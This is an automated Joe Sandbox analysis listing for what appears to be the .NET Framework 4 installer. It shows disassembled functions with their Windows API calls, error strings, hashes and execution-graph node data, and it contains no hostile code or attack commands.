                    • GetLastError.KERNEL32(00000000,?,00000000), ref: 00AF3772
                    • ExitThread.KERNEL32 ref: 00AF3779
                    • GetCurrentThreadId.KERNEL32 ref: 00AF377F
                    • __freefls@4.LIBCMT ref: 00AF379F
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Value$DecodeInternal@4PointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                    • String ID:
                    • API String ID: 1443443662-0
                    • Opcode ID: 9683916d93fb5fff67a2112adacf8c44b6d51ee19c0a6ebcf60b015fa9eddb23
                    • Instruction ID: c7722832dd4f70bba0a2fccac3b1aa1b5229173af62c53a169db16a51be01b15
                    • Opcode Fuzzy Hash: 9683916d93fb5fff67a2112adacf8c44b6d51ee19c0a6ebcf60b015fa9eddb23
                    • Instruction Fuzzy Hash: A3E0E6B6C012C9BB8F1177F39F0A8BF3B6C9E61355B104411BA11A3012DA28BA5246B3
                    Function 00AD5CDA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 99windowCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AD9166: LoadStringW.USER32(00000000,00AD635A,00AFC104,00000040), ref: 00AD9189
                    • MessageBoxW.USER32(00000000,?,?,00000010), ref: 00AD5DC5
                    Strings
                    • Failed to concatenate message with error string., xrefs: 00AD5D6B
                    • Failed to get error message for error: 0x%x., xrefs: 00AD5D91
                    • Failed to get error string from error: 0x%x, xrefs: 00AD5D48
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: LoadMessageString
                    • String ID: Failed to concatenate message with error string.$Failed to get error message for error: 0x%x.$Failed to get error string from error: 0x%x
                    • API String ID: 2284331267-3986587811
                    • Opcode ID: c138c5530994666e47111ed9c7fd62f95ab413d356bf04ea028b265acd578806
                    • Instruction ID: d4d31a2267fc6cee52a76901e2455e941ac6b988e4e1d8612eb22963e60df786
                    • Opcode Fuzzy Hash: c138c5530994666e47111ed9c7fd62f95ab413d356bf04ea028b265acd578806
                    • Instruction Fuzzy Hash: 2B31C735C40A08FACF11E7F59E4AAAEBB76AB50710F204523F093B1261DB754B41EA61
                    Function 00ADE3CB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 00ADE3D2
                    • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,?,0000005F,00000000,00000010,00ADE493,00000000,?,00000000,00000000), ref: 00ADE43B
                    • __CxxThrowException@8.LIBCMT ref: 00ADE460
                      • Part of subcall function 00ADC523: __CxxThrowException@8.LIBCMT ref: 00ADC58A
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Exception@8Throw$ByteCharH_prolog3MultiWide
                    • String ID: _
                    • API String ID: 3478574853-701932520
                    • Opcode ID: f77559b72c55a83f462f6ace0a574ae4e3ebf795aca124334ba3456bcccbf976
                    • Instruction ID: c4848a1d55eee204593c8d46fb5e6e5cbc00e05099a967a92ac69d151c62fa1c
                    • Opcode Fuzzy Hash: f77559b72c55a83f462f6ace0a574ae4e3ebf795aca124334ba3456bcccbf976
                    • Instruction Fuzzy Hash: AC211DB590024AAFCB10DF98C9819AEFBF5FF58310B50882EE6599B301C374AA45CB90
                    Function 00AD65F9 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57windowCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleW.KERNEL32(00000000,00000024,00AD64D8,?,00AD654C,?,00000024,?,00ADAFDF,00000007,?,?,00000000,00000000,?,?), ref: 00AD6616
                    • SendMessageW.USER32(00008001,00000000,00000000,00000000), ref: 00AD6683
                    Strings
                    • Failed to add file name on to status prefix: %S, xrefs: 00AD6654
                    • %s..., xrefs: 00AD668B
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: HandleMessageModuleSend
                    • String ID: %s...$Failed to add file name on to status prefix: %S
                    • API String ID: 1379669478-1181359081
                    • Opcode ID: 7f2465a0a560008a4768a8efb3419ad1fd989cbbfa39b458359854d322d41b3c
                    • Instruction ID: b5ae82cd90c4675eba887447468161f6a87298318112ffd4420970793285e8aa
                    • Opcode Fuzzy Hash: 7f2465a0a560008a4768a8efb3419ad1fd989cbbfa39b458359854d322d41b3c
                    • Instruction Fuzzy Hash: F011E030801218FBDF25DBD1DF468AEBF36EB10B54F100013F80661221D732DEA5DA94
                    Function 00ADA414 Relevance: 6.3, APIs: 5, Instructions: 36memoryCOMMON
                    Download Yara Rule
                    APIs
                    • CloseHandle.KERNEL32(00000000,00AD9DA9,?,?,00AD60C2,?,?,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA41C
                    • GetProcessHeap.KERNEL32(00000000,?,00000000,00000000,00AD9DA9,?,?,00AD60C2,?,?,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA43A
                    • HeapFree.KERNEL32(00000000,?,?,00AD60C2,?,?,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA43D
                    • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,00AD9DA9,?,?,00AD60C2,?,?,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA458
                    • HeapFree.KERNEL32(00000000,?,?,00AD60C2,?,?,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA45B
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$FreeProcess$CloseHandle
                    • String ID:
                    • API String ID: 1236364404-0
                    • Opcode ID: 27765619a4cc6408cd68719c10d1ae126e622bbd5a20a275a7a7554ebcd837ae
                    • Instruction ID: 529306cb961ed2401b7c2ec3117264c2254490c3dd0373fd40b4e3c6f2699b73
                    • Opcode Fuzzy Hash: 27765619a4cc6408cd68719c10d1ae126e622bbd5a20a275a7a7554ebcd837ae
                    • Instruction Fuzzy Hash: 71F0A0B1701201AADF10ABF99D4CF67379CAF90791B444113F917D7290DAA4DC028A72
                    Function 00AEF6B8 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00AEF6EC
                    • __isleadbyte_l.LIBCMT ref: 00AEF71F
                    • MultiByteToWideChar.KERNEL32(?,00000009,00AD8D37,?,?,00000000,?,?,?,-00000001,00AD8D37,?), ref: 00AEF750
                    • MultiByteToWideChar.KERNEL32(?,00000009,00AD8D37,00000001,?,00000000,?,?,?,-00000001,00AD8D37,?), ref: 00AEF7BE
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                    • String ID:
                    • API String ID: 3058430110-0
                    • Opcode ID: f6867136203761f42b90ba21bf467c678df51425b8e5a3944a34476dbed69873
                    • Instruction ID: d213cd1db8b5fe8d7ab0d50b27912df5963c12eadafc7ddc7437ae09e05c7bd6
                    • Opcode Fuzzy Hash: f6867136203761f42b90ba21bf467c678df51425b8e5a3944a34476dbed69873
                    • Instruction Fuzzy Hash: 6731AD32A002D6EFDF20DFA6C8949AA3BB5EF01310F2585B9F4658B1A5E730DE40DB50
                    Function 00AD66AE Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 67memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcessHeap.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,00AD656E,?,?,00ADAFDF,00000007,?), ref: 00AD671A
                    • HeapReAlloc.KERNEL32(00000000,?,?,?,00AD656E,?,?,00ADAFDF,00000007,?,?,00000000,00000000,?,?,?), ref: 00AD6721
                      • Part of subcall function 00AD8E6F: GetProcessHeap.KERNEL32(00000000,00000000,?,00AD85A8,00000000,00000000,?,?,00AD6E90,00000000), ref: 00AD8E79
                      • Part of subcall function 00AD8E6F: HeapFree.KERNEL32(00000000,?,00AD85A8,00000000,00000000,?,?,00AD6E90,00000000), ref: 00AD8E80
                    Strings
                    • Failed to copy the file name, xrefs: 00AD66E0
                    • Failed to realloc cleanup list buffer, xrefs: 00AD6735
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$Process$AllocFree
                    • String ID: Failed to copy the file name$Failed to realloc cleanup list buffer
                    • API String ID: 756756679-1190809427
                    • Opcode ID: 158e625e898c44dfe6b8227eb0c16961b58c8a3bde58fb32d18922e6cec9588d
                    • Instruction ID: bf24dade4fe13e13ce46ed39c8c738fbfed636b28d5618df54f33db3cfba1e56
                    • Opcode Fuzzy Hash: 158e625e898c44dfe6b8227eb0c16961b58c8a3bde58fb32d18922e6cec9588d
                    • Instruction Fuzzy Hash: 2C1184B5940209FFCB00DFE5EE858AEBBB8FB44314720846BE107E7310DA319A46DB50
                    Function 00AD8C9A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100stringCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AD9A43: GetProcessHeap.KERNEL32(00000000,?,?,00AD8CCC,?,?,00000000,?,00AD6E90,00000000), ref: 00AD9A4D
                      • Part of subcall function 00AD9A43: HeapSize.KERNEL32(00000000,?,00AD8CCC,?,?,00000000,?,00AD6E90,00000000), ref: 00AD9A54
                    • lstrlenA.KERNEL32(00000000,?,?,00000000,?,00AD6E90,00000000), ref: 00AD8CE0
                    • _vswprintf_s.LIBCMT ref: 00AD8D32
                      • Part of subcall function 00AD8836: GetProcessHeap.KERNEL32(00000000,00000000,7FFFFFFF,00000000,?,00AD8D82,00000000), ref: 00AD8852
                      • Part of subcall function 00AD8836: HeapReAlloc.KERNEL32(00000000,?,00AD8D82,00000000), ref: 00AD8859
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$Process$AllocSize_vswprintf_slstrlen
                    • String ID: z
                    • API String ID: 1418926380-1657960367
                    • Opcode ID: f99049abe4ef402636e166eba1e3b89e04e47a20946ddebe7ac33b36a1b33f67
                    • Instruction ID: 33dc904f12e7a6020b99eb9ce2da298cd2e2455961b7b955f021462317e57e74
                    • Opcode Fuzzy Hash: f99049abe4ef402636e166eba1e3b89e04e47a20946ddebe7ac33b36a1b33f67
                    • Instruction Fuzzy Hash: 5531D231D00124DFCF219BA9898065DFBB5AFA5350F344597E853EB390DA398E019B90
                    Function 00AF4740 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: _memmove
                    • String ID: @
                    • API String ID: 4104443479-2766056989
                    • Opcode ID: 66cd33f07f92f7bf903b75bd0112adf220fad0013f13d1fd7e762eae75a06d95
                    • Instruction ID: 620c0dc09dbd45fb4f0d2af8fd8da40d8327add85f69cbeb6a101d2e51070ed0
                    • Opcode Fuzzy Hash: 66cd33f07f92f7bf903b75bd0112adf220fad0013f13d1fd7e762eae75a06d95
                    • Instruction Fuzzy Hash: 093162B690025DABDB08DFA5D980ABB73A8EF48394F054659FE1597700D730EE54CBD0
                    Function 00AD8B99 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91stringCOMMON
                    Download Yara Rule
                    APIs
                    • _vswprintf_s.LIBCMT ref: 00AD8C1D
                      • Part of subcall function 00AD9A43: GetProcessHeap.KERNEL32(00000000,?,?,00AD8CCC,?,?,00000000,?,00AD6E90,00000000), ref: 00AD9A4D
                      • Part of subcall function 00AD9A43: HeapSize.KERNEL32(00000000,?,00AD8CCC,?,?,00000000,?,00AD6E90,00000000), ref: 00AD9A54
                    • lstrlenW.KERNEL32(?,?,?,?,?), ref: 00AD8BCD
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$ProcessSize_vswprintf_slstrlen
                    • String ID: z
                    • API String ID: 3730482531-1657960367
                    • Opcode ID: 6280da206af12d9a4d2ff069c0885bebd5844f739c6e12cf16c86ad658ea8797
                    • Instruction ID: 4a1101a37a87830d9748f1d2cb46dfb2fcadabff9024b98804f837a86c86bb66
                    • Opcode Fuzzy Hash: 6280da206af12d9a4d2ff069c0885bebd5844f739c6e12cf16c86ad658ea8797
                    • Instruction Fuzzy Hash: 2631D731A11206EBCB209BA8C88475E77B1EF84360F21452BE057DB351DF7DDE029B50
                    Function 00AF53BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AF4D38: __getptd.LIBCMT ref: 00AF4D3E
                      • Part of subcall function 00AF4D38: __getptd.LIBCMT ref: 00AF4D4E
                    • __getptd.LIBCMT ref: 00AF53CB
                      • Part of subcall function 00AEA753: __getptd_noexit.LIBCMT ref: 00AEA756
                      • Part of subcall function 00AEA753: __amsg_exit.LIBCMT ref: 00AEA763
                    • __getptd.LIBCMT ref: 00AF53D9
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: __getptd$__amsg_exit__getptd_noexit
                    • String ID: csm
                    • API String ID: 803148776-1018135373
                    • Opcode ID: bb629309e16acc5b64bc296b657b13c127ede069bedfd553f0c096afabd3e9ba
                    • Instruction ID: 1afc8ff1e84739ff7db3ee32d73425c7074a53ae757e5a459704ea10ffc6fb4c
                    • Opcode Fuzzy Hash: bb629309e16acc5b64bc296b657b13c127ede069bedfd553f0c096afabd3e9ba
                    • Instruction Fuzzy Hash: B4018B34C01A088BCF34AFB1C4406BDB7B6AF10313FA4942DF68196661CB3099C2DF51
                    Function 00AD8836 Relevance: 5.0, APIs: 4, Instructions: 30memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcessHeap.KERNEL32(00000000,00000000,7FFFFFFF,00000000,?,00AD8D82,00000000), ref: 00AD8852
                    • HeapReAlloc.KERNEL32(00000000,?,00AD8D82,00000000), ref: 00AD8859
                    • GetProcessHeap.KERNEL32(00000008,7FFFFFFF,00000000,?,00AD8D82,00000000), ref: 00AD8863
                    • HeapAlloc.KERNEL32(00000000,?,00AD8D82,00000000), ref: 00AD886A
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$AllocProcess
                    • String ID:
                    • API String ID: 1617791916-0
                    • Opcode ID: 98b7524e8767b96bbba3deaceab7ced419a7fc48f03d961fd8eca965ee9adc00
                    • Instruction ID: 6f147a19653821f3174d8ff02171a2348e733f836b93a1566177e039c61dc548
                    • Opcode Fuzzy Hash: 98b7524e8767b96bbba3deaceab7ced419a7fc48f03d961fd8eca965ee9adc00
                    • Instruction Fuzzy Hash: 92F03035100144FBC7018BA6DC48A6D7B7AE7C13A2B748627F667C6250DA39C882A764
                    Function 00AD87EB Relevance: 5.0, APIs: 4, Instructions: 28memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcessHeap.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8802
                    • HeapReAlloc.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8809
                    • GetProcessHeap.KERNEL32(00000008,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8813
                    • HeapAlloc.KERNEL32(00000000), ref: 00AD881A
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$AllocProcess
                    • String ID:
                    • API String ID: 1617791916-0
                    • Opcode ID: a6c4e85a36f367f7f3ac34abcaa5b8ffeccd479070b26b32bea6037612998009
                    • Instruction ID: 8040c5950fc0caeab8647cc7e2960ed46294987ad1cd76f11ce422bcc31e563e
                    • Opcode Fuzzy Hash: a6c4e85a36f367f7f3ac34abcaa5b8ffeccd479070b26b32bea6037612998009
                    • Instruction Fuzzy Hash: 88E09275201040FBC7109BA4EC8CB7E3669F7D1361774472AF2A3C3240DE388842A760

                    Execution Graph

                    Execution Coverage:12.7%
                    Dynamic/Decrypted Code Coverage:18.4%
                    Signature Coverage:0%
                    Total number of Nodes:945
                    Total number of Limit Nodes:18
                    execution_graph 55611 6e0c3fbf 55614 6e0c3ee2 55611->55614 55619 6e0c3e29 55614->55619 55617 6e0c3e29 5 API calls 55618 6e0c3f14 55617->55618 55620 6e0c3e4d 55619->55620 55622 6e0cf65c 55619->55622 55620->55622 55623 6e0c3e73 RegOpenKeyExW 55620->55623 55621 6e0cf6e6 55622->55621 55632 6e0d5f11 EtwTraceMessage 55622->55632 55625 6e0c3ec6 55623->55625 55626 6e0c3ea0 RegQueryValueExW 55623->55626 55627 6e0c3ecb RegCloseKey 55625->55627 55628 6e0c3ed4 55625->55628 55626->55625 55629 6e0c3ebc 55626->55629 55627->55628 55628->55617 55628->55618 55629->55625 55631 6e0d77b8 EtwTraceMessage 55629->55631 55631->55625 55632->55621 55633 6cbdb059 55634 6cbdb069 55633->55634 55635 6cbdb064 55633->55635 55639 6cbdaf5e 55634->55639 55647 6cbde588 GetSystemTimeAsFileTime GetCurrentProcessId GetCurrentThreadId GetTickCount QueryPerformanceCounter 55635->55647 55638 6cbdb077 55640 6cbdaf6a __setmbcp 55639->55640 55644 6cbdb007 __setmbcp 55640->55644 55645 6cbdafb7 ___DllMainCRTStartup 55640->55645 55648 6cbdadf5 55640->55648 55642 6cbdafe7 55643 6cbdadf5 __CRT_INIT@12 149 API calls 55642->55643 55642->55644 55643->55644 55644->55638 55645->55642 55645->55644 55646 6cbdadf5 __CRT_INIT@12 149 API calls 55645->55646 55646->55642 55647->55634 55649 6cbdae01 __setmbcp 55648->55649 55650 6cbdae09 55649->55650 55651 6cbdae83 55649->55651 55700 6cbde1d6 HeapCreate 55650->55700 55653 6cbdae89 55651->55653 55654 6cbdaee4 55651->55654 55660 6cbdaea7 55653->55660 55666 6cbdae12 __setmbcp 55653->55666 55710 6cbddacb 66 API calls _doexit 55653->55710 55655 6cbdaee9 55654->55655 55656 6cbdaf42 55654->55656 55715 6cbdd21f TlsGetValue _DecodePointerInternal TlsSetValue 55655->55715 55656->55666 55724 6cbdd524 79 API calls __freefls@4 55656->55724 55657 6cbdae0e 55659 6cbdae19 55657->55659 55657->55666 55701 6cbdd597 86 API calls 5 library calls 55659->55701 55665 6cbdaebb 55660->55665 55711 6cbddd4c 67 API calls _free 55660->55711 55662 6cbdaeee 55716 6cbdd761 66 API calls _calloc 55662->55716 55714 6cbdaece 70 API calls __mtterm 55665->55714 55666->55645 55668 6cbdae1e __RTC_Initialize 55672 6cbdae22 55668->55672 55679 6cbdae2e GetCommandLineA 55668->55679 55671 6cbdaefa 55671->55666 55674 6cbdaf06 _DecodePointerInternal 55671->55674 55702 6cbde1f9 HeapDestroy 55672->55702 55673 6cbdaeb1 55712 6cbdd258 70 API calls _free 55673->55712 55680 6cbdaf1b 55674->55680 55677 6cbdae27 55677->55666 55678 6cbdaeb6 55713 6cbde1f9 HeapDestroy 55678->55713 55703 6cbde0e4 71 API calls 2 library calls 55679->55703 55683 6cbdaf1f 55680->55683 55684 6cbdaf36 55680->55684 55717 6cbdd29a 66 API calls 4 library calls 55683->55717 55718 6cbdbe0e 55684->55718 55685 6cbdae3e 55704 6cbddb02 73 API calls __calloc_crt 55685->55704 55689 6cbdaf26 GetCurrentThreadId 55689->55666 55690 6cbdae48 55697 6cbdae4c 55690->55697 55706 6cbde024 95 API calls 3 library calls 55690->55706 55693 6cbdae58 55699 6cbdae6c 55693->55699 55707 6cbddda4 94 API calls 6 library calls 55693->55707 55696 6cbdae61 55696->55699 55708 6cbdd8cf 77 API calls 4 library calls 55696->55708 55705 6cbdd258 70 API calls _free 55697->55705 55699->55677 55709 6cbddd4c 67 API calls _free 55699->55709 55700->55657 55701->55668 55702->55677 55703->55685 55704->55690 55705->55672 55706->55693 55707->55696 55708->55699 55709->55697 55710->55660 55711->55673 55712->55678 55713->55665 55714->55666 55715->55662 55716->55671 55717->55689 55719 6cbdbe19 RtlFreeHeap 55718->55719 55720 6cbdbe42 __dosmaperr 55718->55720 55719->55720 55721 6cbdbe2e 55719->55721 55720->55677 55725 6cbdbd29 66 API calls __getptd_noexit 55721->55725 55723 6cbdbe34 GetLastError 55723->55720 55724->55666 55725->55723 55726 6cbb830c 55733 6cbbf821 55726->55733 55789 6cbb76a7 55733->55789 55790 6cbb76b3 __EH_prolog3 55789->55790 55823 6cbdc0aa 55790->55823 55793 6cbb7716 55843 6cb877af RegOpenKeyExW 55793->55843 55797 6cbdc0aa ctype 77 API calls 55798 6cbb772f GetModuleHandleW 55797->55798 55800 6cbb776f SetUnhandledExceptionFilter GetCommandLineW 55798->55800 55801 6cbb7752 GetProcAddress 55798->55801 55851 6cb83e77 55800->55851 55801->55800 55802 6cbb7769 SetThreadStackGuarantee 55801->55802 55802->55800 55804 6cbb778a 55963 6cbc9293 GetCommandLineW 55804->55963 55810 6cbb77c5 56031 6cb841d6 55810->56031 55827 6cbdc0b4 55823->55827 55825 6cbb7704 55825->55793 55835 6cb87c6e 55825->55835 55827->55825 55830 6cbdc0d0 std::exception::exception 55827->55830 56039 6cbdbfb3 55827->56039 